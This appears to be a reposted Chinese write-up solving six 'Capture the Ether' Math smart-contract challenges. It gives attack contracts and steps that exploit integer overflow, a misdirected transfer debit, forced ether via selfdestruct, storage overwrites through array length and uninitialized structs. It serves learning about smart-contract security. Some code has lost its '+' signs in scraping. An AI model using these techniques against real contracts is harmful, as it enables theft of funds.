Capture the Ether(Math)
Math
这个栏目考察的都是一些数学方面的知识
第一题:Token Sale
代码:
-
pragma solidity ^0.4.21;
-
contract TokenSaleChallenge {
-
mapping(address => uint256) public balanceOf;
-
uint256 constant PRICE_PER_TOKEN = 1 ether;
-
function TokenSaleChallenge(address _player) public payable {
-
require(msg.value == 1 ether);
-
}
-
function isComplete() public view returns (bool) {
-
return address(this).balance < 1 ether;
-
}
-
function buy(uint256 numTokens) public payable {
-
require(msg.value == numTokens * PRICE_PER_TOKEN);
-
balanceOf[msg.sender] = numTokens;
-
}
-
function sell(uint256 numTokens) public {
-
require(balanceOf[msg.sender] >= numTokens);
-
balanceOf[msg.sender] -= numTokens;
-
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
-
}
-
}
isComplete函数要求我们本合约的余额要小于 1 ether,这个代码提供了 buy 和 sell 函数,让我们可以以 1 numToken :1 ether 的汇率购买和卖出 numToken 。我们发现在 buy 函数中有这么一行代码:
require(msg.value == numTokens * PRICE_PER_TOKEN);
我们知道 EVM 虚拟机最大只有 256 位,即最大值为 2 ** 256 - 1,所以当我们输入的numTokens是一个很大的值的时候,就会溢出,让我们用小于一个 ether 的价格买到一个 Token。
在remix中我们可以通过这样的代码来计算:
-
pragma solidity ^0.8.0;
-
contract attack{
-
uint256 public max2;
-
uint256 public max10;
-
uint256 public numToken;
-
uint256 public value;
-
function setNumber() public {
-
max2 = 2**256 - 1;
-
max10 = 10**18;
-
}
-
function getResult() public {
-
numToken = max2 / max10 1;
-
value = 10**18 - max2 % 10**18 - 1;
-
}
-
}
在目标合约中调用 buy 函数,输入参数为我们算出来的 numToken,msg.value 是我们算出来的value:
此时我们地址的余额就很多了:
调用 sell 函数取出 1 ether 即可:
第二题:Token whale
代码:
-
pragma solidity ^0.4.21;
-
contract TokenWhaleChallenge {
-
address player;
-
uint256 public totalSupply;
-
mapping(address => uint256) public balanceOf;
-
mapping(address => mapping(address => uint256)) public allowance;
-
string public name = "Simple ERC20 Token";
-
string public symbol = "SET";
-
uint8 public decimals = 18;
-
function TokenWhaleChallenge(address _player) public {
-
player = _player;
-
totalSupply = 1000;
-
balanceOf[player] = 1000;
-
}
-
function isComplete() public view returns (bool) {
-
return balanceOf[player] >= 1000000;
-
}
-
event Transfer(address indexed from, address indexed to, uint256 value);
-
function _transfer(address to, uint256 value) internal {
-
balanceOf[msg.sender] -= value;
-
balanceOf[to] = value;
-
emit Transfer(msg.sender, to, value);
-
}
-
function transfer(address to, uint256 value) public {
-
require(balanceOf[msg.sender] >= value);
-
require(balanceOf[to] value >= balanceOf[to]);
-
_transfer(to, value);
-
}
-
event Approval(address indexed owner, address indexed spender, uint256 value);
-
function approve(address spender, uint256 value) public {
-
allowance[msg.sender][spender] = value;
-
emit Approval(msg.sender, spender, value);
-
}
-
function transferFrom(address from, address to, uint256 value) public {
-
require(balanceOf[from] >= value);
-
require(balanceOf[to] value >= balanceOf[to]);
-
require(allowance[from][msg.sender] >= value);
-
allowance[from][msg.sender] -= value;
-
_transfer(to, value);
-
}
-
}
isComplete 函数要求 player 的余额大于 1000000,观察代码,我们会发现漏洞就在合约的 _transfer 函数里:
-
function _transfer(address to, uint256 value) internal {
-
balanceOf[msg.sender] -= value;
-
balanceOf[to] = value;
-
emit Transfer(msg.sender, to, value);
-
}
我会发现,执行 _transfer 函数时,它扣除的是 msg.sender 的钱,而不是 from 地址的钱,通过这个漏洞,我们可以使用三个用户来增加 player 的钱:
用户 A:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
用户 B:0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
用户 C:0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
player 设置为用户 A
1. 切换到用户 A,调用 approve 函数向用户 B 批准金额,金额只要大于 0 小于 2** 256 - 1 即可:
2. 切换到用户 B,调用 transferFrom 函数向用户 C 转账,金额小于上一步 approve 的金额即可。因为此时用户 B 的金额为 0,减少之后就会下溢变成一个很大的数字:
3. 调用 transfer 函数向用户 A 转账即可:
第三题:Retirement fund
代码:
-
pragma solidity ^0.4.21;
-
contract RetirementFundChallenge {
-
uint256 startBalance;
-
address owner = msg.sender;
-
address beneficiary;
-
uint256 expiration = now 10 years;
-
function RetirementFundChallenge(address player) public payable {
-
require(msg.value == 1 ether);
-
beneficiary = player;
-
startBalance = msg.value;
-
}
-
function isComplete() public view returns (bool) {
-
return address(this).balance == 0;
-
}
-
function withdraw() public {
-
require(msg.sender == owner);
-
if (now < expiration) {
-
// early withdrawal incurs a 10% penalty
-
msg.sender.transfer(address(this).balance * 9 / 10);
-
} else {
-
msg.sender.transfer(address(this).balance);
-
}
-
}
-
function collectPenalty() public {
-
require(msg.sender == beneficiary);
-
uint256 withdrawn = startBalance - address(this).balance;
-
// an early withdrawal occurred
-
require(withdrawn > 0);
-
// penalty is what's left
-
msg.sender.transfer(address(this).balance);
-
}
-
}
isComplete 函数要求我们本合约的余额为 0,合约部署者在银行中存了 1 ether,并且要 10 年之后才能取出来,如果他在这 10 年里取了钱,就会损失 10% 的钱。合约中的 withdraw 函数只有部署这才能调用,所以我们把重心放在 collectPenalty 函数上,这个函数要求 withdrawn 变量的值大于零,我们就可以把钱取出来,因为 startBalance 是一开始就确认好的,所以我们只能增加合约的钱,但是合约中没有可交易的 fallback 函数也没有 receive 函数,所以我们只能通过 selfdestruct 函数来强制给合约转钱。
攻击合约:
-
pragma solidity ^0.4.21;
-
import "./RetirementFund.sol";
-
contract RetirementFundChallengeAttack {
-
RetirementFundChallenge challenge;
-
constructor(address _addr) public {
-
challenge = RetirementFundChallenge(_addr);
-
}
-
function pay() public payable {}
-
function addToken(address _addr) public {
-
selfdestruct(_addr);
-
}
-
}
先给我们的攻击合约转 1 ether,在调用 addToken 函数,给目标合约转钱,再调用 collectPenalty 函数即可:
第四题:Mapping
代码:
-
pragma solidity ^0.4.21;
-
contract MappingChallenge {
-
bool public isComplete;
-
uint256[] map;
-
function set(uint256 key, uint256 value) public {
-
// Expand dynamic array as needed
-
if (map.length <= key) {
-
map.length = key 1;
-
}
-
map[key] = value;
-
}
-
function get(uint256 key) public view returns (uint256) {
-
return map[key];
-
}
isComplete 函数要求我么本合约的金额为 0,这道题的代码很短,合约中没有任何直接修改 isComplete 的函数,我们只能从 map 这个数组入手,我们注意到这行代码:
map.length = key 1;
在这里 map 的 length 可能会发生溢出,因为 isComplete 存储在 slot0 中,所以我们可以找到一个值,使得其溢出之后刚好覆盖到 slot0。
动态数组 map 占据了 slot1 存储,但里面存储的只是 map 的长度,真正的数据是从 keccak256(slot) index 开始存储的,即:map[0] 存储在 keccak256(1) 处,由此可知,计算公式即为:
map[isComplete] = 2**256 - uint256(keccack256(bytes32(1)))
-
pragma solidity ^0.4.21;
-
contract MappingChallenge {
-
uint256 max2 = 2**256 - 1;
-
function get() public returns (uint256) {
-
return max2 - uint256(keccak256(bytes32(1))) 1;
-
}
-
}
部署两个合约,调用攻击合约计算出 isComplete 在数组中的位置:
在目标合约中调用 set 函数,输入 key 为我们计算出的值,value 为 1 (true = 1):
第五题:Donation
代码:
-
pragma solidity ^0.4.21;
-
contract DonationChallenge {
-
struct Donation {
-
uint256 timestamp;
-
uint256 etherAmount;
-
}
-
Donation[] public donations;
-
address public owner;
-
function DonationChallenge() public payable {
-
require(msg.value == 1 ether);
-
-
owner = msg.sender;
-
}
-
function isComplete() public view returns (bool) {
-
return address(this).balance == 0;
-
}
-
function donate(uint256 etherAmount) public payable {
-
// amount is in ether, but msg.value is in wei
-
uint256 scale = 10**18 * 1 ether;
-
require(msg.value == etherAmount / scale);
-
Donation donation;
-
donation.timestamp = now;
-
donation.etherAmount = etherAmount;
-
-
donations.push(donation);
-
}
-
function withdraw() public {
-
require(msg.sender == owner);
-
msg.sender.transfer(address(this).balance);
-
}
-
}
isComplete 函数要求我们本合约的余额为 0,这个合约代码的问题是在于这行代码:
Donation donation;
结构体的声明并没有初始化,就没有赋予存储空间,所以 donation 会存储在 slot0 中,然后为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory,又因为 owner 是存储在 slot1 中的,所以我们就可以通过更改 donation.etherAmount 来覆盖 owner 的值;
注意 etherAmount 是一个 uint256 类型的,所以我们要把调用者的地址显式转换为 uint256 ;同时,donate 函数还要求我们传入的金额要等于 etherAmount / scale ,即 etherAmount / 10**36:
-
pragma solidity ^0.4.21;
-
contract DonationChallenge {
-
function getNum() public view returns(uint256) {
-
return uint256(msg.sender);
-
}
-
function getValue() public view returns(uint256) {
-
return getNum() / 10**18 / 10**18;
-
}
-
}
部署目标合约,调用 donate 函数,输入 etherAmount 为我们 getNum 计算出的值,msg.value 为 getValue 的值:
第六题:Fifty years
代码:
-
pragma solidity ^0.4.21;
-
contract FiftyYearsChallenge {
-
struct Contribution {
-
uint256 amount;
-
uint256 unlockTimestamp;
-
}
-
Contribution[] queue;
-
uint256 head;
-
address owner;
-
function FiftyYearsChallenge(address player) public payable {
-
require(msg.value == 1 ether);
-
owner = player;
-
queue.push(Contribution(msg.value, now 50 years));
-
}
-
function isComplete() public view returns (bool) {
-
return address(this).balance == 0;
-
}
-
function upsert(uint256 index, uint256 timestamp) public payable {
-
require(msg.sender == owner);
-
if (index >= head && index < queue.length) {
-
// Update existing contribution amount without updating timestamp.
-
Contribution storage contribution = queue[index];
-
contribution.amount = msg.value;
-
} else {
-
// Append a new contribution. Require that each contribution unlock
-
// at least 1 day after the previous one.
-
require(timestamp >= queue[queue.length - 1].unlockTimestamp 1 days);
-
contribution.amount = msg.value;
-
contribution.unlockTimestamp = timestamp;
-
queue.push(contribution);
-
}
-
}
-
function withdraw(uint256 index) public {
-
require(msg.sender == owner);
-
require(now >= queue[index].unlockTimestamp);
-
// Withdraw this and any earlier contributions.
-
uint256 total = 0;
-
for (uint256 i = head; i <= index; i ) {
-
total = queue[i].amount;
-
// Reclaim storage.
-
delete queue[i];
-
}
-
// Move the head of the queue forward so we don't have to loop over
-
// already-withdrawn contributions.
-
head = index 1;
-
msg.sender.transfer(total);
-
}
-
}
isComplete 函数要求我们本合约的余额为 0,通过前几关的知识,我们可以知道:
1. upsert 函数中的 contribution.amount 和 contribution.unlockTimestamp 的赋值可以分别覆盖掉 queue数组的长度 和 head 变量。
2. 在 upsert 函数中下面的代码 :
require(timestamp >= queue[queue.length - 1].unlockTimestamp 1 days);
会发生上溢,所以我们找到一个 timestamp 使得其加 1 days 刚好会溢出为 0,我们就可以把取钱的时间设置为 0。
1. 计算 timestamp(时间是以秒计算的,金额是以 wei 计算的):
-
pragma solidity ^0.4.21;
-
contract attack {
-
uint256 max2 = 2**256 - 1;
-
uint256 oneDay = 24 * 60 * 60;
-
function getNum() public returns(uint256) {
-
return max2 - oneDay 1;
-
}
-
}
2. 部署目标合约,调用 upsert 函数,输入 index 为 1,timestamp 为我们算出来的值,msg.value = 1 wei :
3. 再次调用 upsert 函数,输入 index 为 2,timestamp 为 0,msg.value = 2 wei :
4. 此时就可以调用 withdraw 函数, 输入 index 为 2,取出合约中的钱,但是,当我们调用 withdraw 函数的时候,会发现调用失败,查阅了其他资料后发现:
queue.length 和 amount 是占据的同一块存储,所以当 queue.length 增加的时候 amount 的值也会增加,即当我们 index 等于 1 时,queue 数组进行了 push 操作,queue.length 增加了 1,所以 amount 也加了 1,即 2 wei,所以当我们调用 withdraw 函数时,要取出的钱大于合约中有的钱,就会报错。
-
- Contribution 0 (made by CTE): contribution.amount == msg.value == 1 ETH;
-
- Contribution 1 (us): contribution.amount == msg.value == 1 wei `queue.push` == 2 wei;
-
- Contribution 2 (us): contribution.amount == msg.value == 2 wei `queue.push` == 3 wei;
-
- Contract total == 1.00...03 ETH, Contributions total == 1.00...05 ETH.
文章链接https://mirror.xyz/kyrers.eth/dSjaARoTkYitJyQA8CFKLrS5CXbRVf-K4ol8Nla-bj0
我们实际的合约金额为1.000000000000000003 ETH,但是我们要取的金额为1.000000000000000005 ETH,那我们怎么办呢?其中一种做法就是写一个自毁合约,来给目标合约转 2 wei 就可以了:
-
pragma solidity ^0.4.21;
-
contract attack {
-
function pay() public payable {}
-
function addToken(address _addr) public {
-
selfdestruct(_addr);
-
}
-
}
调用 withdraw 函数即可,输入 index 为 2 即可:
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgbggec
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13